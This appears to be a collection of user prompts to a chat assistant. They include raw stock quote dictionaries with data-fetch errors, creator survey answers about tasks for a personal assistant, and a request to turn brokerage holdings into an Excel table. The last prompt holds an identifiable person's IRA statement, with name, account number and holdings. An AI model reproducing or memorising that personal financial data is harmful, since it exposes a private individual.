'messageBoardId': 'finmb\\_24937', 'priceHint': 2, 'sourceInterval': 15, 'regularMarketDayLow': 157.85, 'exchange': 'NMS', 'shortName': 'Apple Inc.', 'region': 'US', 'fiftyDayAverageChangePercent': 0.07640351, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682506740, 'financialCurrency': 'USD', 'displayName': 'Apple', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 158.86, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': 0.83055896, 'trailingAnnualDividendYield': 0.0057257917, 'quoteType': 'EQUITY', 'averageDailyVolume10Day': 76044460, 'fiftyTwoWeekLowChange': 36.08, 'fiftyTwoWeekHighChangePercent': -0.1077891, 'typeDisp': 'Equity', 'trailingPE': 26.932774, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 15821899776, 'regularMarketPreviousClose': 158.93, 'fiftyTwoWeekHigh': 179.61, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': -0.0124832, 'bidSize': 8, 'regularMarketChange': 1.3200073, 'priceEpsCurrentYear': 26.887583, 'cryptoTradeable': False, 'fiftyDayAverage': 148.8754, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 5.96, 'customPriceAlertConfidence': 'HIGH', 'regularMarketPrice': 160.25, 'marketState': 'CLOSED', 'forwardPE': 24.24357, 'postMarketChange': -0.0200043, 'earningsTimestamp': 1675375200, 'ask': 160.03, 'epsTrailingTwelveMonths': 5.95, 'bid': 160.2, 'triggerable': True, 'priceToBook': 44.75007, 'longName': 'Apple Inc.', 'trailingPegRatio': 2.622}\nError: Incomplete fundamental data for MSFT\n{'symbol': 'MSFT', 'twoHundredDayAverageChangePercent': 0.11072977, 'dividendDate': 1686182400, 'averageAnalystRating': '1.9 - Buy', 'fiftyTwoWeekLowChangePercent': 0.3145763, 'language': 'en-US', 'earningsTimestampEnd': 1682683200, 'regularMarketDayRange': '275.3 - 280.63', 'epsForward': 10.75, 'regularMarketDayHigh': 280.63, 'twoHundredDayAverageChange': 27.970306, 'twoHundredDayAverage': 252.5997, 'askSize': 9, 'bookValue': 24.592, 'fiftyTwoWeekHighChange': -35.380005, 'marketCap': 2088507015168, 'fiftyTwoWeekRange': '213.43 - 315.95', 'fiftyDayAverageChange': 24.51361, 'firstTradeDateMilliseconds': 511108200000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 32351929, 'trailingAnnualDividendRate': 2.6, 'fiftyTwoWeekLow': 213.43, 'market': 'us\\_market', 'regularMarketVolume': 28199962, 'postMarketPrice': 280.94, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_21835', 'priceHint': 2, 'regularMarketDayLow': 275.3, 'exchange': 'NMS', 'sourceInterval': 15, 'shortName': 'Microsoft Corporation', 'region': 'US', 'fiftyDayAverageChangePercent': 0.0957352, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682333940, 'financialCurrency': 'USD', 'displayName': 'Microsoft', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 277.24, 'regularMarketTime': '4:00PM EDT', \n'regularMarketChangePercent': 1.0480458, 'trailingAnnualDividendYield': 0.00936397, 'quoteType': 'EQUITY', 'fiftyTwoWeekLowChange': 67.140015, 'averageDailyVolume10Day': 41493050, 'fiftyTwoWeekHighChangePercent': -0.11197975, 'typeDisp': 'Equity', 'trailingPE': 30.865788, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 7443800064, 'regularMarketPreviousClose': 277.66, 'fiftyTwoWeekHigh': 315.95, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': 0.13187265, 'bidSize': 8, 'regularMarketChange': 2.9100037, 'priceEpsCurrentYear': 29.97543, 'cryptoTradeable': False, 'fiftyDayAverage': 256.0564, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 9.36, 'customPriceAlertConfidence': 'HIGH', 'marketState': 'CLOSED', 'regularMarketPrice': 280.57, 'forwardPE': 26.099535, 'postMarketChange': 0.36999512, 'earningsTimestamp': 1674599400, 'ask': 280.96, 'epsTrailingTwelveMonths': 9.09, 'bid': 280.94, 'triggerable': True, 'priceToBook': 11.408996, 'longName': 'Microsoft Corporation', 'trailingPegRatio': 2.0998}\nError: Incomplete fundamental data for GOOGL\n{'symbol': 'GOOGL', 'twoHundredDayAverageChangePercent': 0.038630545, 'fiftyTwoWeekLowChangePercent': 0.26517886, 'averageAnalystRating': '1.8 - Buy', 'language': 'en-US', 'earningsTimestampEnd': 1682712000, 'regularMarketDayRange': '103.84 - 105.49', 'epsForward': 6.1, 'regularMarketDayHigh': 105.49, 'twoHundredDayAverageChange': 3.9217072, 'twoHundredDayAverage': 101.518295, 'askSize': 18, 'bookValue': 19.935, 'fiftyTwoWeekHighChange': -38.3535, 'marketCap': 1354071015424, 'fiftyTwoWeekRange': '83.34 - 143.7935', 'fiftyDayAverageChange': 9.041801, 'exchangeDataDelayedBy': 0, \n'firstTradeDateMilliseconds': 1092922200000, 'averageDailyVolume3Month': 39514009, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 83.34, 'regularMarketVolume': 30365732, 'market': 'us\\_market', 'postMarketPrice': 105.74, 'quoteSourceName': 'Nasdaq Real Time Price', 'messageBoardId': 'finmb\\_29096', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NMS', 'regularMarketDayLow': 103.84, 'region': 'US', 'shortName': 'Alphabet Inc.', 'fiftyDayAverageChangePercent': 0.09379637, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682366400, 'financialCurrency': 'USD', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 104.99, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': -0.1515114, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 44016880, 'fiftyTwoWeekLowChange': 22.100006, 'fiftyTwoWeekHighChangePercent': -0.26672623, 'typeDisp': 'Equity', 'trailingPE': 22.15126, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 5955999744, 'regularMarketPreviousClose': 105.6, 'fiftyTwoWeekHigh': 143.7935, 'postMarketChangePercent': 0.284518, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': -0.15999603, 'bidSize': 8, 'priceEpsCurrentYear': 20.755907, 'cryptoTradeable': False, 'fiftyDayAverage': 96.3982, 'epsCurrentYear': 5.08, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 105.44, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': 0.299995, 'forwardPE': 17.285246, 'earningsTimestamp': 1675373400, 'ask': 105.6, 'epsTrailingTwelveMonths': 4.76, 'bid': 105.67, 'priceToBook': 5.2891903, 'triggerable': True, 'longName': 'Alphabet Inc.', 'trailingPegRatio': 1.2305}\nError: Incomplete fundamental data for AMZN\n{'symbol': 'AMZN', 'twoHundredDayAverageChangePercent': -0.089479335, 'averageAnalystRating': '1.8 - Buy', 'fiftyTwoWeekLowChangePercent': 0.20508409, 'language': 'en-US', 'earningsTimestampEnd': 1682942400, 'regularMarketDayRange': '96.4 - 98.295', 'epsForward': 2.51, 'regularMarketDayHigh': 98.295, 'twoHundredDayAverageChange': -9.643501, 'twoHundredDayAverage': 107.7735, 'askSize': 13, 'bookValue': 14.259, 'fiftyTwoWeekHighChange': -72.7015, 'marketCap': 1005567541248, 'fiftyTwoWeekRange': '81.43 - 170.8315', 'fiftyDayAverageChange': 0.5935974, 'firstTradeDateMilliseconds': \n863703000000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 69248703, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 81.43, 'market': 'us\\_market', 'regularMarketVolume': 56144801, 'postMarketPrice': 98.44, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_18749', \n'priceHint': 2, 'regularMarketDayLow': 96.4, 'exchange': 'NMS', 'sourceInterval': 15, 'shortName': 'Amazon.com, Inc.', 'region': 'US', 'fiftyDayAverageChangePercent': 0.0060859066, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1682506740, 'financialCurrency': 'USD', 'displayName': 'Amazon.com', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 98.065, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': \n-0.58758163, 'trailingAnnualDividendYield': 0.0, 'quoteType': 'EQUITY', 'fiftyTwoWeekLowChange': 16.699997, 'averageDailyVolume10Day': 66777800, 'fiftyTwoWeekHighChangePercent': -0.42557433, 'typeDisp': 'Equity', 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 10247300096, 'regularMarketPreviousClose': 98.71, 'fiftyTwoWeekHigh': 170.8315, 'exchangeTimezoneName': 'America/New\\_York', 'postMarketChangePercent': 0.31591275, 'bidSize': 10, 'regularMarketChange': -0.58000183, 'priceEpsCurrentYear': 69.10564, 'cryptoTradeable': False, 'fiftyDayAverage': 97.5364, 'exchangeTimezoneShortName': 'EDT', 'epsCurrentYear': 1.42, 'customPriceAlertConfidence': 'HIGH', 'marketState': 'CLOSED', 'regularMarketPrice': 98.13, 'forwardPE': 39.095615, 'postMarketChange': 0.3100052, 'earningsTimestamp': 1675377000, 'ask': 98.35, 'epsTrailingTwelveMonths': -0.27, 'bid': 98.42, 'triggerable': True, 'priceToBook': 6.881969, 'longName': 'Amazon.com, Inc.', 'trailingPegRatio': 3.7143}\nError retrieving fundamental data for FB: 'NoneType' object has no attribute 'items'\nError: Incomplete fundamental data for TSLA\n{'symbol': 'TSLA', 'twoHundredDayAverageChangePercent': -0.121273056, 'fiftyTwoWeekLowChangePercent': 0.87024856, 'averageAnalystRating': '2.4 - Buy', 'language': 'en-US', 'earningsTimestampEnd': 1682337600, 'regularMarketDayRange': '187.15 - 192.36', 'epsForward': 5.47, 'regularMarketDayHigh': 192.36, 'twoHundredDayAverageChange': -26.278473, 'twoHundredDayAverage': 216.68848, 'askSize': 12, 'bookValue': 14.129, 'fiftyTwoWeekHighChange': -193.88, 'marketCap': 602476314624, 'fiftyTwoWeekRange': '101.81 - 384.29', 'fiftyDayAverageChange': 9.788605, 'exchangeDataDelayedBy': 0, 'firstTradeDateMilliseconds': 1277818200000, 'averageDailyVolume3Month': 180632852, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 101.81, 'regularMarketVolume': 116531584, 'market': 'us\\_market', 'postMarketPrice': 190.21, 'messageBoardId': 'finmb\\_27444752', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NMS', 'regularMarketDayLow': 187.15, 'region': 'US', 'shortName': 'Tesla, Inc.', 'fiftyDayAverageChangePercent': 0.054194048, 'fullExchangeName': 'NasdaqGS', 'earningsTimestampStart': 1681815540, 'financialCurrency': 'USD', 'displayName': 'Tesla', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 191.65, 'regularMarketTime': '4:00PM EDT', 'regularMarketChangePercent': -0.9416281, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 140553570, 'fiftyTwoWeekLowChange': 88.600006, 'fiftyTwoWeekHighChangePercent': -0.5045148, 'typeDisp': 'Equity', 'trailingPE': 50.506634, 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': \n3164100096, 'regularMarketPreviousClose': 192.22, 'fiftyTwoWeekHigh': 384.29, 'postMarketChangePercent': -0.105034895, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': -1.8099976, 'bidSize': 12, 'priceEpsCurrentYear': 48.698208, 'cryptoTradeable': False, 'fiftyDayAverage': \n180.6214, 'epsCurrentYear': 3.91, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 190.41, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': -0.19999695, 'forwardPE': 34.809875, 'earningsTimestamp': 1674685800, 'ask': 190.19, 'epsTrailingTwelveMonths': 3.77, 'bid': 190.21, 'priceToBook': 13.476538, 'triggerable': True, 'longName': 'Tesla, Inc.', 'trailingPegRatio': 1.6384}\nError: Incomplete fundamental data for BRK-B\n{'symbol': 'BRK-B', 'twoHundredDayAverageChangePercent': 0.013854862, 'fiftyTwoWeekLowChangePercent': 0.150356, 'averageAnalystRating': '2.7 - Hold', 'language': 'en-US', 'earningsTimestampEnd': 1628598600, 'regularMarketDayRange': '293.3947 - 299.5', 'epsForward': 17.79, 'regularMarketDayHigh': 299.5, 'twoHundredDayAverageChange': 4.0849, 'twoHundredDayAverage': 294.8351, 'askSize': 11, 'bookValue': 323497.25, 'fiftyTwoWeekHighChange': -63.179993, 'marketCap': 655471804416, 'fiftyTwoWeekRange': '259.85 - 362.1', 'fiftyDayAverageChange': -8.579987, 'exchangeDataDelayedBy': 0, 'firstTradeDateMilliseconds': 831648600000, 'averageDailyVolume3Month': 3879837, 'trailingAnnualDividendRate': 0.0, 'fiftyTwoWeekLow': 259.85, 'regularMarketVolume': 3895875, 'market': 'us\\_market', 'postMarketPrice': 299.0, 'messageBoardId': 'finmb\\_255251', 'priceHint': 2, 'sourceInterval': 15, 'exchange': 'NYQ', 'regularMarketDayLow': 293.3947, 'region': 'US', 'shortName': 'Berkshire Hathaway Inc. New', 'fiftyDayAverageChangePercent': -0.027902395, 'fullExchangeName': 'NYSE', 'earningsTimestampStart': 1628253000, 'financialCurrency': 'USD', 'gmtOffSetMilliseconds': -14400000, 'regularMarketOpen': 294.68, 'regularMarketTime': '4:03PM EDT', 'regularMarketChangePercent': 0.18434103, 'quoteType': 'EQUITY', 'trailingAnnualDividendYield': 0.0, 'averageDailyVolume10Day': 6112990, 'fiftyTwoWeekLowChange': 39.070007, 'fiftyTwoWeekHighChangePercent': -0.17448217, 'typeDisp': 'Equity', 'tradeable': False, 'postMarketTime': '7:59PM EDT', 'currency': 'USD', 'sharesOutstanding': 1298189952, 'regularMarketPreviousClose': \n298.37, 'fiftyTwoWeekHigh': 362.1, 'postMarketChangePercent': 0.02675852, 'exchangeTimezoneName': 'America/New\\_York', 'regularMarketChange': 0.5500183, 'bidSize': 8, 'priceEpsCurrentYear': 18.967005, 'cryptoTradeable': False, 'fiftyDayAverage': 307.5, 'epsCurrentYear': 15.76, 'exchangeTimezoneShortName': 'EDT', 'regularMarketPrice': 298.92, 'marketState': 'CLOSED', 'customPriceAlertConfidence': 'HIGH', 'postMarketChange': 0.07998657, \n'forwardPE': 16.802698, 'earningsTimestamp': 1596889800, 'ask': 298.92, 'epsTrailingTwelveMonths': -10.28, 'bid': 298.92, 'priceToBook': 0.0009240264, 'triggerable': True, 'longName': 'Berkshire Hathaway Inc.', 'trailingPegRatio': None}\nError: Incomplete fundamental data for JPM\n{'symbol': 'JPM', 'twoHundredDayAverageChangePercent': -0.0024592741, 'dividendDate': 1675123200, 'averageAnalystRating': '2.1 - Buy', 'fiftyTwoWeekLowChangePercent': 0.23331363, 'language': 'en-US', 'earningsTimestampEnd': 1681475400, 'regularMarketDayRange': '123.11 - 125.68', 'epsForward': 13.46, 'regularMarketDayHigh': 125.68, 'twoHundredDayAverageChange': -0.30794525, 'twoHundredDayAverage': 125.21795, 'askSize': 10, 'bookValue': 90.29, 'fiftyTwoWeekHighChange': -19.429993, 'marketCap': 367655092224, 'fiftyTwoWeekRange': '101.28 - 144.34', 'fiftyDayAverageChange': -12.8694, 'firstTradeDateMilliseconds': 322151400000, 'exchangeDataDelayedBy': 0, 'averageDailyVolume3Month': 13090954, 'trailingAnnualDividendRate': 4.0, 'fiftyTwoWeekLow': 101.28, 'market': 'us\\_market', 'regularMarketVolume': 22197157, 'postMarketPrice': 125.05, 'quoteSourceName': 'Delayed Quote', 'messageBoardId': 'finmb\\_658776', 'priceHint': 2, 'regularMarketDayLow': 123.11, 'exchange': 'NYQ', 'sourceInterval': 15, 'shortName': 'JP Morgan Chase & Co.', 'region': 'US', 'fiftyDayAverageChangePercent': -0.093405835, 'fullExchangeName': 'NYSE', 'earningsTimestampStart': 1681475400 ... somthing like this very long long messages지금 번역하기" -'The next question was "Imagine that you hire a personal assistant. \\_What’s the first task you assign to them?". Here are the answers. Provide commentary, insights and analysis: \n\nManage my agenda\nOrganizing and scheduling\nTo sort out organization of files/emails and schedules\nBrand outreach\nI will show my own ideas\nManage diary\nOrganize time slots for content\nFind bigger collaboration deals\ncheck my emails\ntaxes\nShow me How you will increase the number of clients on my brands?\npaperwork\nManaging social media\nFind brand collaborations for me.\nto find clients\nManage appointments\nEdit videos\nScheduling tasks\nSet up meetings with new brands/collaborators\nTime management and organization\nOrganize my schedule\nfully set up my CRM\nManage my social media\nEngagement on socials\nbooking brand deals/events, content promo, etc\nProject management\nOrganize calendar, reach out to potential clients, send emails.\nHow can you help me make my life easier as someone who is self employed?\nScheduling\nSeek brand collabs\nreaching out to potential brands\nTo check my accounts\nInvoices\nHelp with content creation\nDo a Gap Analysis on my potential clientele\nContent planning\nReach out to new followers and promote\nBooking clients\nFilter through my emails\nGo through my email, manage my appointments and manage my side business\nI wouldn’t know where to begin but most likely email\nSort out all the unread emails\nReaching out to potential clients/brands\nEmailing Brands\nInvoicing\nFind clients\nTake care of my schedule\nemail all the brands that are reaching out\nManaging my messages on socials\nOrganize my content\nI don’t have enough work to hire someone\nGet jobs for me\nHelp find brands to work with\nTake care of my finances\nReach out to brands\nPost and edit different video\nLook for more collaborations\nTake care of emails and customer service\nEmails\nManage my calendar\nScan slides\nHelp me gain more audience and expand my reach\nTo calculate my taxes\nSocial media strategy\nHelp organize tasks around the work space\nBrand outreach\nFact finding\nSocial media engagement and planning content.\nResponding to emails.\nWorking on outreaching to brands for more partnerships\nSend out pitches , and link my work to Pinterest .\nUpdate expenses and taxes\nMARKETING MY BUSINESS\nBrand collaborations\nedit video\nTo finally make a post calendar\nGet me jobs, reply to clients\nSocial media brand awareness\nScheduling\ncoffee runs consantly\nsocial media management\nIncrease my profits\nMarketing\nFind new clients\nContent calendar creation\nNegotiating with brands\nVoicemail/email\nHow do you manage stress\nReplying to emails\nOrganize what needs to be done in what order!\nManage my email\nOrganizing schedule for content\nReach out to brands for me\nEmail brand outreaches, negotiating, reposting content to other platforms\nManage my social media\nhandling all my emails\nManage content schedule and social media\nTaking over billing clients and handling day to day small items.\nSocial media manager & marketing\nSort my email\nCreate a website\nGet me on a better routine & increase efficiency. Organize my files and photos.\nHandling my social media and packing orders\nDm people for me\nEmail correspondence\nEmails and phone calls\nShampoo my clients\nOrganize my schedule\nHelp me get organized\nTo come up with new ideas to attract more clients\nCome up with new content ideas\nFind new clients\nSocial Media engagement\nOrganization\nResearch on potential clients\nFind clients\nAnswering emails\nResearch incoming offers and what their value could be\nMy first task would be for them to read, reply to, and delete my emails.\nSchedule management\nSet up the newsletter and store on my website\nPlease spend a couple of hours engaging on IG so that my account can grow.\nBudgeting\nOrganize\nNegotiations/Pitching\nTake care of my mails\nAnalysing\nOrganize my email inbox\nSocial Media Management & Content Procurement\ncreate my content calendar\nNever thought but it\npersonal organization\nto find more business and organize well\nHelp me organize work flow\nOrganize\nReceipts!\nAnswer emails\nSet up a schedule for content releases\nPitch brands\nOrganize deadlines and payouts\nAnswer my emails\nOrganize my studio space\nHelp me with taxes\nSocial media\nAdmin & space organization\nPitching to brands\nOrganising my calendar\nFind work\nHelping create organizational docs\nHelp me to find a marketer who can help me to give more shape to my business so I can get or reach more clients.\nFind higher paying clients for collabs\norganize my office\nOrganize content and schedule\nClient outreach and email management\nCreative idea creation\nHelp go through DM requests\nOutreach to brands\nBiz Dev\nAssisting with my finances and brand negotiations.\nMoving products to Etsy\nEmail organization / content schedule\nCreating marketing reports.\nObtain wholesale/resale license\nresearch\nOrganize my content for the next 3 months\nOrganizing my onedrive and calendar\nNot sure\nManaging social media brand collaborations and posts\nTo help organize\nOutreach -\nOrganize my calendar\nManage page and reply messages\nRun my social media\nmarketing\ntrack my income/expenses\nOrganize\nReach out to brands\nHelp me figure out how to save for my taxes when brand money comes in. More importantly, reach out to brands and clients with payment requests so I don’t have to do it constantly myself\nEditing and gathering trends and ideas for concept ideation for me to finalize\nManage my finances\nHelp rebranding with structure\nI would want him/her to manage my PR and collaborations.\nHandle my clothing brand\nClientes\nHelp scheduling\nSocial media mgmt\norganize photos and emails\nFind brands that have a budget\nClean email list and curate trending ideas\nAnswer emails\nBooking, Scheduling\nMarket survey\ndo my taxes\nFix my website\nFile management\nHow follows\nfilming content\nOrganize my calendar\nTake a look at my finances/budgeting\nEditing videos\nFind ideas.\nOrganization\nReaching out to brands\nGetting coffee\nHelp with getting more brand deals\nSocial media marketing and posts\nManage all the soft task; Help me organize my schedule; Clients Managment\nSocial media management\nOtro\nCheck emails\nCommunication\nTo assist with my content creation.\ninvoice\nTo create the base of potential clients and go head em\nManage my social media\nOrganize emails\nKeep me in line with my tasks for the day.\nEmail all my brand partners\nTeach them to arrange my travel\nBusiness Development\ndeal with clients\nWatch my kid lol\nFinding new clients\nOrganize my email\nAnswering emails\nTaxes\nMails\nI wouldn’t\nVideo filming & editing\nEdit a project\nbookkeeping\npost for me\nOrganizing my backend\nBooks my trips for travel\nOrganize my schedules\nhelp create content\nI would have them find me a good graphic designer.\nCheck my emails\nWrite blog post\nSocial media marketing\nTake over my social media, and make it work for me.\nTiming\nManage my calendar\nTime management\nOrganize my schedule for more creative time.\nManage day-to-day tasks, filming schedules\nWhat’s the best pitch for brands\nEmail management\nHelp with pitching with brands.\nOrganization and management of tasks\nCreating a calendar\nshipping and receiving\nReply to emails\nReach out to potential brands to partner with\nTo take over my email communications with brands and clients\nEdit vídeos\nSending emails to potential new customers\nEdit my videos\nBooking\nCaption writing or house work\nBrand outreach\nHelp with more engagement\nMarketing\nAnswer my emails\nScheduling social media posts\nTracking expenses\nBrand strategy\nKeep track of all collaborations and expenses\nContent organization\nscheduling and routine\nOrganize/ prioritize email responses\nEmails\nwork through emails\nRespond to emails\npitch my content to brands\nemail triage\nManage my email, answer all emails.\nemail responder for the technical part of my platform\nMarketing\nClear my inbox\nsocial media posting\ni have one and it was lead management and operations tasks\nBrand outreach\nclear thru my emails\nSort the mail\nFeed the cats\nOrganizing tax information as I am both w2 and 1099\nUpdate my website\nTo manage collaborations and negotiate prices\nWorkflow\nSEO\nMarketing\nGather email address\nPayment plans for debt\nPost stuff for me\nProject management\nHelp me organize/edit my images better.\nCheck all the request and list them down by group\nEmail and other clerical duties.\nUpload stories on instagram\nanswering emails\nFix my documents\nBrand outreach\nSocial media content calendar\nCreate a photography portfolio and website from my past work\nContent engagement on my feeds\nReach out to brands for me\nOrganize all of my social media profiles, create a media kit, and update my headshots and social media content\nSchedule\nEmail brands\nplan out my content for the week\nAdvertisement\ncreate an agenda\nFind more brands that I could work with\nContent Calendar\nReach out to brands for collaborations\nSend out business inquiry letters to list of specific brands/companies for partnership opportunities and brand collaborations\nFilm content for me\nLearn how to run ads\nStudy me so they can match my style as they help me.\nFollow up with brands\nReplying to emails.\nOrganize my files\nplatform engagement\nFile my taxes\nSchedule my content to post\nFind more clients\nCustomer service/planning/marketing\nUpdating my website from my archive or work on creating selects for my projects.\nHelping with content creation and getting on a regular cadence of posting; helping me to interact with followers\nDelegate work\nBTS filming\norganize all my daily tasks\nHelp keep up with correspondence, social media, etc.\nemail management\nPitch me to brands\nDo my money\nHelping manage and organize my social media and creating new connections and engaging with followers\nTo organize my schedule.\nmanaging my finances\nMarketing\nE-mail MGMT\nSocial media\nEmail\nReach out to brands and negotiate sponsorships.\nRespond to my emails for me\nDo all and any brand negotiations\nhandling my dis\nI would have them organize my schedule and projects I\'m working on ASAP.\nVideography\nTrack my expenses\nSocial media management\nOrganization\nHelp me find more brands to work with outside my 9-5 job\nOrganize my calendar and input deadlines + strategize it’s completion\ncontact and confirm with my team members to confirm the their schedule.\nFinding paid opportunities\nMake me a schedule\nTo find freelance work to further improve my work\nRespond to comments\nI have a personal assistant\nMarket brand.\nA schedule\nOrganizing my calendar and scheduling posts\nResponding to emails from brands proposing a partnership.\nTo take over my emails and social media in an attempt to book future gigs.\nTo speak with brands\nOrganize my day to day\nresearching platforms to assist with productivity\nBookkeeping, personal\nManage my calendar\nContent planning\nHelp me get organized\nVideo Editing Help\nEngagement on social media\nmake a to-do list with deadlines\nTo do my engagement for me.\nTime management\nAnswering my emails\npersonal tasks and calendar organization & strategy\nEmail brands for collaboration\nhelp me organize\nWhat is your Organizational structure\nSocial Media Promo\nLook for paid campaigns\nsend invoices\nOrganise my calendar and daily tasks\nRespond to emails\nSort through files\nWhy do they wanna work for me\nDay to day tasks\nPitching brands\nScheduling\nHelping me gather regular content as "selfie" style work is hard in my industry.\nBooking\ncalculating my expenses\nManage my videos\nManage my to do list' -'great job. do the same. rearrange this data in table format that includes the ticker and # of shares so that I can easily copy and paste it into excel:\n\nFor example,\n\ncolumn 1 row 1 = LRCX, column 2 row 1 = 3.380\ncolumn 1 row 2 = LLY, column 2 row 2 = 8.000\n\nLAM RESEARCH CORP COM USD0.001 (LRCX) 0.56 1,529.89 3.380 500.1000 1,690.33 1,629.81 60.52 23.32 1.380 ELI LILLY AND CO (LLY) 0.91 2,926.72 8.000 344.1500 2,753.20 2,353.93 399.27 36.16 1.310 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 12 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) LOCKHEED MARTIN CORP COM USD1.00 (LMT) 0.37 1,055.68 2.410 463.2600 1,116.45 1,020.96 95.49 28.92 2.590 LOWES COMPANIES INC COM USD0.50 (LOW) 0.65 1,875.24 9.412 208.2500 1,960.04 1,891.78 68.26 39.53 2.020 LYFT INC CL A COM (LYFT) 0.15 319.58 29.000 16.2500 471.25 405.32 65.93 - - M &T BANK CORP COM USD0.50 (MTB) 0.46 1,239.82 8.887 156.0000 1,386.37 1,570.25 -183.88 42.66 3.080 MARSH &MCLENNAN COMPANIES INC COM USD1.00 (MMC) 0.63 1,820.28 11.000 174.9100 1,924.01 1,774.75 149.26 25.96 1.350 MARRIOTT INTERNATIONAL INC COM USD0.01 CLASS A (MAR) 0.23 595.56 4.000 174.1800 696.72 654.93 41.79 6.40 0.920 MARVELL TECHNOLOGY INC COM (MRVL) 0.21 555.60 15.000 43.1500 647.25 998.16 -350.91 3.60 0.560 MASTERCARD INCORPORATED CL A (MA) 0.99 2,662.91 8.082 370.6000 2,995.18 2,881.75 113.43 18.43 0.620 MAXIMUS INC (MMS) 0.26 791.15 10.789 74.8500 807.55 763.90 43.65 12.08 1.500 MCKESSON CORP (MCK) 0.26 786.62 2.097 378.6800 794.09 656.00 138.09 4.53 0.570 METTLER-TOLEDO INTERNATIONAL INC COM USD0.01 (MTD) 0.48 1,386.18 0.943 1,532.9200 1,445.54 1,276.85 168.69 - - MICROSOFT CORP (MSFT) 4.66 13,299.69 56.723 247.8100 14,056.52 16,000.37 -1,943.85 154.29 1.100 MICRON TECHNOLOGY INC (MU) 0.30 732.05 15.086 60.3000 909.68 1,026.20 -116.52 6.94 0.760 MONDELEZ INTL INC COM NPV (MDLZ) 0.63 1,932.85 29.310 65.4400 1,918.04 1,919.23 -1.19 45.14 2.350 MOODYS CORP COM USD0.01 (MCO) 0.47 1,149.30 4.403 322.7500 1,421.06 1,354.28 66.78 13.56 0.950 MORGAN STANLEY COM USD0.01 (MS) 0.16 425.10 5.000 97.3300 486.65 427.73 58.92 15.50 3.190 MR\\_CE \\_BNLWXPBBBBVPR\\_BBBBB 20230131 S 13 of 60 INVESTMENT REPORT January 1, 2023 - January 31, 2023 Account # Y80-377508 Holdings THU UYEN MAI - ROLLOVER IRA Stocks (continued) Description Percent of Holdings Beginning Market Value Jan 1, 2023 Quantity Jan 31, 2023 Price Per Unit Jan 31, 2023 Ending Market Value Jan 31, 2023 Cost Unrealized Gain/Loss Jan 31, 2023 EAI ($) / EY (%) NETFLIX INC (NFLX) 0.47 1,179.52 4.000 353.8600 1,415.44 855.51 559.93 - - NEWMONT CORP COM ISIN #US6516391066 SEDOL #BJYKTV2 (NEM) 0.16 434.00 9.185 52.9300 486.16 407.88 78.28 20.21 4.160 NEXTERA ENERGY INC COM USD0.01 (NEE) 0.76 2,591.60 31.000 74.6300 2,313.53 2,533.33 -219.80 52.70 2.280 NIKE INC CLASS B COM NPV (NKE) 0.33 936.08 7.820 127.3300 995.72 941.62 54.10 10.64 1.070 NORTHERN TRUST CORP COM USD1.666 (NTRS) 0.48 1,327.35 15.000 96.9700 1,454.55 1,535.49 -80.94 45.00 3.090 NORTHROP GRUMMAN CORP COM USD1 (NOC) 0.59 2,182.44 4.000 448.0400 1,792.16 1,815.33 -23.17 27.68 1.540 GEN DIGITAL INC COM (GEN) 0.29 707.19 39.170 23.0100 901.30 1,005.89 -104.59 19.59 2.170 NVIDIA CORPORATION COM (NVDA) 2.14 4,989.80 33.024 195.3700 6,451.89 6,038.31 413.58 5.28 0.080 OCCIDENTAL PETE CORP COM (OXY) 0.38 1,089.41 17.825 64.7900 1,154.88 1,253.66 -98.78 9.27 0.800 ON SEMICONDUCTOR CORP COM USD0.01 (ON) 0.18 468.14 7.775 73.4500 571.07 556.39 14.68 - - OPEN TEXT CORP COM ISIN #CA6837151068 SEDOL #2260824 